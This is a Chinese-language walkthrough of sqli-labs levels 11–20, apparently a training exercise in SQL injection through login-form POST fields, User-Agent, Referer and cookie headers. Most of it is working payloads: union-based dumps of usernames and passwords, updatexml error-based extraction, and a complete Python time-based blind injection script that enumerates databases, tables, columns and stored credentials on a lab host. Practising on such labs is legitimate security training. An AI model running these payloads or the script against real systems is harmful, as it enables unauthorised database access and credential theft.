POST注入
less11
post类型一个登陆框
试一下万能密码:uname=admin’ or ‘1’='1–+&passwd=1
显示出
Your Login name:admin
Your Password:admin
所以猜测sql语句是:
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入如下(同对id的注入方法):
uname=admin’ order by 2–+&passwd=1 #两个字段
uname=1’ union select 1,2–+&passwd=1 #1,2在都是显示位
uname=1’ union select group_concat(schema_name) ,2 from information_schema.schemata–+&passwd=1
uname=1’ union select group_concat(table_name) ,2 from information_schema.tables where table_schema=‘security’–+&passwd=1
uname=1’ union select group_concat(column_name) ,2 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+&passwd=1
uname=1’ union select group_concat(username) ,group_concat(password) from security.users–+&passwd=1
less12
相比于less11,使用"
进行测试,发现不行,然后用")
闭合即可,语句同上。
$id
,'$id'
,"$id"
,($id)
,('$id')
,("$id")
,(('$id'))
等进行测试
less13
这道有报错提示,当输入uname=admin’时报错,然后如果输入正确的语句会通过下方的图片提示登陆正确或者错误,但是在源码里面没有显示加载哪张图片的内容,无法作为布尔注入的条件。
尽然可以报错,直接就报错注入吧。
输入uname=admin’,报错为...near '1admin') LIMIT 0,1' at...
可以根据提示闭合括号
uname=admin')%23&passwd=1admin
正常返回,所以闭合成功,进行报错注入:
uname=admin' and updatexml(1,concat(0x7e,(version()),0x7e),1))%23&passwd=1admin
显示: XPATH syntax error: ‘5.5.53’
uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))%23&passwd=1admin`
#这样可以直接把数据库名报出来,但是显错位长度有限,后面一些内容可能看不到,可以用limit a,1方式一个个查询。
uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1))%23&passwd=1admin`
#返回表名 XPATH syntax error: emails,referers,uagents,users’
uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“users” and table_schema=“security”),0x7e),1))%23&passwd=1admin
#返回用户表的字段 XPATH syntax error: ‘id,username,password’
uname=admin’ and updatexml(1,concat(0x7e,(select concat(username,’~’,password) from security.users limit 2,1),0x7e),1))%23&passwd=1admin
#返回用户名,用limit一个个查询时使用concat(),一次返回一组数据,不然显示位不够查看。
#passwd随便输入,因为是被注释掉的。
less14
和less13一样的分析方法,可以输入单引号看到报错,双引号闭合后进行。
关于报错注入适用就是当用户密码输入正确或者错误页面正常,无法利用,但是构造错误的sql语句可以报错,通过特定的sql报错语句可以将数据库内容查询并报出来。
less15
根据正常步骤进行测试,发现构造错误语句也不会回显报错信息,但是会显示登陆成功或者失败,用图片的方式。登陆成功时返回flag,jpg,失败时显示slap.jpg,所以可以利用这个区别作为布尔盲注的判断信息。
uname=admin’ and (length(database())>0)%23&passwd=1
显示成功,说明sql语句闭合成功。
才开始没有看到源码中有图片的信息,以为要只能使用时间盲注,所以直接写了时间盲注脚本。
但要使用布尔注入的话,将其中的sleep()改为0,然后判断条件将时间的改为flag.jpg是否在r1.text中即可。
import requests
import time
import datetime
url="http://192.168.127.130/sqli_lab/Less-15/"
pay0={"uname":"","passwd":"1"}
pay1={"uname":"","passwd":"1"}
pay2={"uname":"","passwd":"1"}
pay3={"uname":"","passwd":"1"}
def name(db_name,t_name,d_name,num):
for j in range(0,20):
res=''
for i in range(1,20):
l=0
r=127
mid=(l+r)>>1
while(l<r):
pay0["uname"]="admin' and if(ascii(mid((select schema_name from information_schema.schemata limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
pay1['uname']="admin' and if(ascii(mid((select table_name from information_schema.tables where table_schema='"+db_name+"' limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
pay2['uname']="admin' and if(ascii(mid((select column_name from information_schema.columns where table_name='"+t_name+"' and table_schema='"+db_name+"' limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
pay3['uname']="admin' and if(ascii(mid((select "+d_name+" from "+db_name+"."+t_name+" limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
header={
"Referer":"http://192.168.127.130/sqli_lab/Less-14/",
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0"
}
if(num==0):
r1=requests.post(url,data=pay0,headers=header)
if(num==1):
r1=requests.post(url,data=pay1)
if(num==2):
r1=requests.post(url,data=pay2)
if(num==3):
r1=requests.post(url,data=pay3)
if(r1.elapsed.total_seconds()<0.3):
# print(r1.elapsed.total_seconds())
l=mid+1
else:
r=mid
mid = (l+r)>>1
if(mid==0):
break
res+=chr(mid)
if(res==''):
break
print(res)
def main():
print("所有数据库的名称:")
name('','','',0)
db_name=input("请输入要查询表的数据库名称:")
name(db_name,'','',1)
t_name=input("请输入要查询的表名:")
name(db_name,t_name,'',2)
d_name=input("请输入要查询的字段名:")
name(db_name,t_name,d_name,3)
if __name__ == "__main__":
main()
less16
进行测试:
uname=admin") or 1#&passwd=1
发现以上语句返回正确,所以闭合成功。和less15方法一样,改变闭合方式即可。
less17
页面为改密码操作,直接输入admin,随便输入密码,然后回到less16发现密码确实被改掉。
读取源码看看是如何操作的,发现将用户名进行转义,防止注入,然后查询是否数据库存在该用户和密码,如果存在则执行将新密码写入数据库相应位置的语句,如果语句执行异常则报错,若正常则插入成功。
问题的关键在于只对用户名进行转义,对密码没有过滤且会报错,所以这里直接对密码进行报错注入即可。
uname=admin&passwd=admin%27 and updatexml(1,concat(0x7e,(user()),0x7e),1)#
报错:XPATH syntax error: '~root@localhost~'
同less13和less14的报错注入方法。
过滤uname的方法也值得学习一下。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
less18
看到报出ip,可能是xff注入,但是看源码发现$IP = $_SERVER['REMOTE_ADDR'];
获取本地主机ip。而对用户名和密码都进行了转义,如果登陆时查询失败可以报错,但是因为转义了单引号等,不好构造语句报错。然后登陆成功后也会报错,对ua进行报错注入。
User-Agent: 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1),‘1’,‘1’)#
User-Agent:aaa’ and updatexml(1,concat(0x7e,(database()),0x7e),1) or ’
以上两种闭合均可报错: XPATH syntax error: ‘security’
之后用常规报错注入方法即可。
less19
和less18类似
$insert=“INSERT INTO
security
.referers
(referer
,ip_address
) VALUES (’$uagent’, ‘$IP’)”;
这次注入的是referer:
1’and updatexml(1,concat(0x7e,(database()),0x7e),1) or ’
报错:XPATH syntax error: ‘security’
less20
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
cookie注入:
uname=1’ and 1=1#
uname=1’ union select 1,2,3# // Your Login name:2 Your Password:3
uname=1’ union select 1,database(),3# //显错注入,直接可以从name,password显示位显示结果。